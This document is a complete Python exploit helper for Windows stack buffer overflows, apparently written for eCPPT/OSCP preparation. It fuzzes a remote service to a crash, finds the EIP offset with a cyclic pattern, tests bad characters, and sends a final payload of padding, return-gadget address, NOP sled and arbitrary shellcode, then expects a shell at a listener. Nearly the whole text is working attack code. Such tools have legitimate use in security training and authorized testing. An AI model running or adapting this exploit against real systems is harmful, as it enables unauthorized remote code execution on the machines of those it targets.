Script for exploiting (Windows) vanilla stack buffer overflows quickly (eCPPT / OSCP)

vanilla_bof.py

from pwn import *
import argparse
import logging
import base64
import binascii


def pattern_create(length = 8192):
    pattern = ''
    parts = ['A', 'a', '0']
    while len(pattern) != length:
        pattern += parts[len(pattern) % 3]
        if len(pattern) % 3 == 0:
            parts[2] = chr(ord(parts[2]) + 1)
            if parts[2] > '9':
                parts[2] = '0'
                parts[1] = chr(ord(parts[1]) + 1)
                if parts[1] > 'z':
                    parts[1] = 'a'
                    parts[0] = chr(ord(parts[0]) + 1)
                    if parts[0] > 'Z':
                        parts[0] = 'A'
    return pattern


class ExploitException(Exception):
    pass


class VanillaExploiter:
    def __init__(self, host, port, timeout=None, is_32_bit=True):
        self.host = host
        self.port = port
        self.is_32_bit = is_32_bit
        if timeout is None:
            timeout = 5
        assert timeout > 0, "Timeout must be positive"
        self.timeout = timeout

    def open_conn(self) -> remote:
        r = remote(self.host, self.port)
        self.reach_vulnerable_prompt(r)
        return r

    def fuzz(self) -> int:
        fuzz_step = 100
        max_fuzz_length = 10000
        fuzz_length = fuzz_step
        crashed = False
        while fuzz_length <= max_fuzz_length:
            payload = b'A' * fuzz_length
            conn = self.open_conn()
            self.send_payload(conn, payload)
            crashed = self.check_crash(conn)
            if crashed:
                break
            else:
                conn.close()
            fuzz_length += fuzz_step
        if crashed:
            return fuzz_length
        else:
            raise ExploitException("Fuzzing not successful at crashing the service")
   
    def eip_offset(self, fuzz_length: list) -> int:
        pattern_len = fuzz_length + 400
        pattern = pattern_create(pattern_len)
        payload = pattern.encode()
        conn = self.open_conn()
        self.send_payload(conn, payload)
        crashed = self.check_crash(conn)
        if not crashed:
            conn.close()
            raise ExploitException("The service should crash to make you find EIP offset in the debug session")
        return len(payload)

    def find_bad_chars(self, padding: int, bad_chars: list):
        # padding should be equal to EIP offset
        # bad_chars example: [0, 8]; it is parsed as a list of int
        padding = padding + 4 if self.is_32_bit else padding + 8
        payload = b'A' * padding
        expected_buf = b''.join([
            i.to_bytes(1, 'little') 
            for i in range(1, 256)
            if i not in bad_chars
        ])
        payload += expected_buf
        conn = self.open_conn()
        self.send_payload(conn, payload)
        crashed = self.check_crash(conn)
        if not crashed:
            conn.close()
            raise ExploitException("The service should crash to make you find bad chars")

    def exploit(self, padding: int, gadget_addr: bytes, shellcode: bytes, nop_sled_size=16):
        # it's better to generate shellcode outside, to meet bad chars constraints
        assert nop_sled_size > 0, "NOP sled size should be greater than 0"
        payload = b'A' * padding
        payload += gadget_addr
        payload += b'\x90' * nop_sled_size
        payload += shellcode
        conn = self.open_conn()
        self.send_payload(conn, payload)
        conn.close()

    def check_crash(self, r: remote) -> bool:
        try:
            data = r.recv(timeout=self.timeout)
            if len(data) == 0:
                crashed = True
            else:
                # you can customize the check_crash here according to output
                crashed = False
        except EOFError:
            crashed = True
        return crashed

    @staticmethod
    def send_payload(r: remote, payload: bytes):
        # customize if you have to send a final newline, flush or whatever
        payload = VanillaExploiter.prefix_on_vulnerable_prompt() + payload
        r.send(payload)
        # r.sendline(payload)

    @staticmethod
    def prefix_on_vulnerable_prompt() -> bytes:
        # stub
        return b''

    @staticmethod
    def reach_vulnerable_prompt(r: remote):
        # stub
        pass


def handle_fuzz(exploiter: VanillaExploiter, **kwargs):
    fuzz_length = exploiter.fuzz()
    logging.info(f"Fuzz length found is: {fuzz_length}")


def handle_eip_offset(exploiter: VanillaExploiter, **kwargs):
    payload_size: int = kwargs['payload_size']
    assert payload_size > 0, "WTF bro"
    actual_payload_size = exploiter.eip_offset(payload_size)
    logging.info(f"Payload to find EIP offset, with size {actual_payload_size}, was sent and the service seems to be crashed; check your debug session to find the offset")


def handle_find_bad_chars(exploiter: VanillaExploiter, **kwargs):
    offset: int = kwargs['offset']
    bad_chars: str = kwargs['bad_chars']
    assert offset >= 0, "Offset should be the equal to the offset to the return address, a positive number"
    try:
        bad_chars = bytes.fromhex(bad_chars)
        bad_chars = [i for i in bad_chars]  # will become a list of int
    except ValueError:
        logging.error("Invalid hexadecimal bad chars passed")
        exit(1)
    exploiter.find_bad_chars(offset, bad_chars)
    logging.info("Payload to find bad chars was sent and the service seems to be crashed; check your debug session")


def handle_exploit(exploiter: VanillaExploiter, **kwargs):
    offset: int = kwargs['offset']
    gadget_addr: str = kwargs['gadget_addr']
    shellcode: str = kwargs['shellcode']
    nop_sled_size: int = kwargs['nop_sled_size']
    assert offset >= 0, "Offset should be the equal to the offset to the return address, a positive number"
    try:
        gadget_addr = bytes.fromhex(gadget_addr)
        assert len(gadget_addr) % 4 == 0, "Length of gadget address should be multiple of 4"
    except ValueError:
        logging.error("Invalid hexadecimal gadget addr passed")
        exit(1)
    try:
        sh = bytes.fromhex(shellcode)
    except ValueError as e:
        logging.debug("Shellcode parsing as hex failed", exc_info=e)
        try:
            sh = base64.b64decode(shellcode, validate=True)
        except binascii.Error as e:
            logging.debug("Shellcode parsing as base64 failed", exc_info=e)
            try:
                f = open(shellcode, 'rb')
                sh = f.read()
                f.close()
            except (FileNotFoundError, IsADirectoryError, PermissionError) as e:
                logging.debug("Shellcode reading from file failed", exc_info=e)
                logging.error("Tried all methods to read the shellcode, the parameter is not valid")
                exit(1)
    shellcode = sh
    exploiter.exploit(offset, gadget_addr, shellcode, nop_sled_size)
    logging.info("Exploit sent; check your listener")


if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO)
    parser = argparse.ArgumentParser(
        description="This script lets you exploit vanilla stack buffer overflows quickly. " \
            "Basically it is a helper which implements the interactions for fuzzing, finding " \
            "EIP offset, finding bad chars and then launch the final exploit with NOP padding. " \
            "You will still have to restart debug sessions on the other end, and you have to " \
            "modify the script to implement some stubs, for example to reach the vulnerable prompt.",
        epilog="By Shotokhan",
        add_help=True
    )
    parent_parser = argparse.ArgumentParser(add_help=False)
    parent_parser.add_argument('-H', '--host', type=str, required=True, help='Host running the binary')
    parent_parser.add_argument('-P', '--port', type=int, required=True, help='Port on which the binary is listening')
    parent_parser.add_argument('-T', '--timeout', type=int, required=False, help='Timeout for detecting crashes')
    subparsers = parser.add_subparsers(required=True, dest='command')

    parser_fuzz = subparsers.add_parser('fuzz', parents=[parent_parser], add_help=True)

    parser_eip_offset = subparsers.add_parser('eip_offset', parents=[parent_parser], add_help=True)
    parser_eip_offset.add_argument('payload_size', help='Payload size found with fuzzing', type=int)

    parser_find_bad_chars = subparsers.add_parser('find_bad_chars', parents=[parent_parser], add_help=True)
    parser_find_bad_chars.add_argument('offset', help='Offset to return address (EIP offset)', type=int)
    parser_find_bad_chars.add_argument('bad_chars', help='Bad chars as hex string, e.g. 00082e', type=str)

    parser_exploit = subparsers.add_parser('exploit', parents=[parent_parser], add_help=True)
    parser_exploit.add_argument('offset', help='Offset to return address (EIP offset)', type=int)
    parser_exploit.add_argument('gadget_addr', type=str,
                                help='Address of the gadget to use as return address, as little endian hex string')
    parser_exploit.add_argument('shellcode', type=str,
                                help='Hex, base64 or path (filename) of the shellcode to inject with the payload')
    parser_exploit.add_argument('--nop-sled-size', type=int, required=False, default=16,
                                help='Size of NOP sled to use to prepend the shellcode')

    args = parser.parse_args()
    # print(args)

    exploiter = VanillaExploiter(args.host, args.port, args.timeout)
    command_handlers = {
        'fuzz': handle_fuzz,
        'eip_offset': handle_eip_offset,
        'find_bad_chars': handle_find_bad_chars,
        'exploit': handle_exploit
    }
    command_handlers[args.command](exploiter, **vars(args))